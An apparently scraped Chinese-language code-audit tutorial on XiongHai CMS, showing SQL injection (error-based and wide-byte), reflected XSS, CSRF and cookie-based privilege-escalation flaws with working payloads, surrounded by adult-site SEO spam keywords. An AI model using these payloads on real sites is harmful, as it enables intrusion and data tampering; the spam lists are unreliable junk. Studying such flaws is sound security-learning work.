亚洲精品久久久中文字幕-亚洲精品久久片久久-亚洲精品久久青草-亚洲精品久久婷婷爱久久婷婷-亚洲精品久久午夜香蕉

更多QQ空间微信QQ好友腾讯朋友复制链接
您的位置:首頁/技術文章
文章詳情頁

熊海CMS代碼審計漏洞分析

【字号: 作者:豬豬瀏覽:209日期:2022-06-06 15:09:10
目錄
  • 前言
  • 基本結構
  • SQL注入漏洞
    • 第一處
    • 第二處
    • 第三處
  • XSS漏洞
    • 第一處
    • 第二處
  • CSRF漏洞
    • 第一處
  • 垂直越權
    • 第一處
  • 結語

    前言

    熊海CMS是由熊海開發的一款可廣泛應用于個人博客,個人網站,企業網站的一套網站綜合管理系統。作為一個早期的系統,里面代碼存在許多漏洞利用點,且代碼量低適合作為代碼審計的入門挑戰,本文就帶領大家對該系統存在的漏洞進行分析。

    基本結構

    這里我選擇使用小皮面板搭建在了本地,以便于調試錯誤,首先我們看看系統的結構:

    ——admin     //后臺?件——css       //css?件——files    //功能函數?件——images   //圖?——index.php //主?錄?件——install   //安裝?件——seacmseditor  //編輯器——template      //模板?件——upload    //?件上傳?錄

    SQL注入漏洞

    第一處

    我們跳轉到admin/files/editlink.php,分析里面的一段代碼:

    $id=$_GET["id"];$type=$_GET["type"];if ($type==1){$query = "SELECT * FROM nav WHERE id="$id"";$resul = mysql_query($query) or die("SQL語句有誤:".mysql_error());$nav = mysql_fetch_array($resul);}

    簡單分析一下,我們通過GET輸入id和type,之后type與1進行對比,匹配后會執行SQL語句,了解SQL注入漏洞的朋友可能會看出這里有一個單引號閉合漏洞,我們只需在參數前進行構造閉合單引號,之后便可以成功執行自定義的SQL語句:

    r=editcolumn&type=1&id=1"%20or%20updatexml(1,concat(0x7e,database()),1)%23

    需要注意的是作為結果只返回給我們SQL語句正確與否,所以這里考慮使用錯報注入。

    第二處

    admin/files/editlink.php這個路徑下有一段代碼:

    $id=$_GET["id"];$query = "SELECT * FROM link WHERE id="$id"";$resul = mysql_query($query) or die("SQL語句有誤:".mysql_error());$link = mysql_fetch_array($resul);

    這里同樣存在一個GET傳參點,我們可以傳入變量名為id的值,之后會執行SQL語句查詢ID,若SQL語句有誤,進行錯報,因為是單引號閉合這里可以和第一處一樣使用錯報注入。

    id=1"%20or%20updatexml(1,concat(0x7e,database()),1)%23

    第三處

    /file/download.php這個路徑下的代碼:

    $llink=addslashes($_GET["r"]);$query = "SELECT * FROM nav WHERE link="$llink"";

    可以看到里面有addslashes函數:

    這個函數會將預定義字符轉換加上反斜杠,所以我們無法進行正常的單引號閉合,需要想辦法繞過,方法也很多,這里就簡單用寬字節注入繞過,具體使用方法可以參考我之前的文章:

    參考大佬的payload:

    r=%df%27or%20if(1,sleep(3),1)%20%23

    XSS漏洞

    第一處

    在/file/contact.php出存在漏洞代碼:

    $page=addslashes($_GET["page"]); <?php echo $page?> 

    可以看到直接echo出了page變量,而該變量是我們直接可以GET傳入的,這里我們直接使用彈窗payload:

    <img src=1 onerror=alert(/xss/)>

    第二處

    在/files/content.php出,存在與第一處差不多的代碼:

    $page=addslashes($_GET["page"]);if ($page<>""){if ($page<>1){$pages="第".$page."頁 - ";}

    我們也可以向上面一樣將語句傳進變量里去。

    CSRF漏洞

    第一處

    這里以/admin/files/wzlist.php為例:

    $delete=$_GET["delete"];if ($delete<>""){$query = "DELETE FROM content WHERE id="$delete"";$result = mysql_query($query) or die("SQL語句有誤:".mysql_error());echo "<script>alert("親,ID為".$delete."的內容已經成功刪除!");location.href="?r=wzlist"</script>";exit;

    可以看到代碼執行刪除SQL語句時并沒有對代碼進行檢測,刪除操作對應下面的界面:

    我們先嘗試刪除然后進行抓包,抓到了刪除時GET進行的傳參:

    ?r=wzlist&delete=18

    之后換另一個瀏覽器訪問整個payload,結合該系統中的一個越權操作,將user改成admin,之后訪問,成功實現了跳過驗證進行了刪除操作。

    當然這只是其中的一個點,softlist.php也存在類似的CSRF漏洞。

    垂直越權

    第一處

    在/inc/checklogin.php中,這里只看存在漏洞的代碼:

    $user=$_COOKIE["user"];if ($user==""){header("Location: ?r=login");exit;   

    這里直接給user的cookie值設置成admin,即可跳轉管理員界面。

    結語

    今天給大家帶來的是一個小型CMS的代碼審計,當然該系統的漏洞遠不止文中提到的這些,總的來說還是挺簡單的,有興趣的小伙伴可以自己下載源碼去搭建系統

    以上就是熊海CMS代碼審計漏洞分析的詳細內容,更多關于熊海CMS代碼審計的資料請關注其它相關文章!

    標簽: PHP
    主站蜘蛛池模板: 国产成人一区二区三区精品久久 | 亚洲国产一区在线 | 亚洲欧美日韩精品永久在线 | 97精品国产福利一区二区三区 | 中日韩国语视频在线观看 | 国产人碰人摸人爱视频 | 亚洲第一se情网站 | 九九精品视频在线播放 | 国产三级在线观看免费 | 综合久久久久6亚洲综合 | 一线高清视频在线观看www国产 | 在线观看高清免费 | 免费播放aa在线视频成人 | 国产免费一区二区在线看 | 亚洲综合欧美色综合小说 | 亚洲一区二区三区视频 | 最新亚洲| 亚洲欧美综合国产精品一区 | 成年美女黄网站色大片免费看 | 自拍视频第一页 | 一级毛片免费高清视频 | 一级黄色片美国 | 在线黄色小视频 | 黄色三级大片 | 中国一级毛片免费看视频 | 久久久午夜影院 | 久久一级 | 手机能看的黄色网址 | 偷拍久久网 | 91网站桃色| 欧美一级特黄特色大片 | 一级做片爱性视频免费 | 国产精品午夜久久 | www.黄色com | 欧美特黄a级猛片a级 | 黄色毛片小视频 | 日韩一区二区三区四区区区 | 成年免费大片黄在线观看看 | 亚洲欧美自拍视频 | 不卡中文一二三区 | 69欧美xxxxx色护士视频 |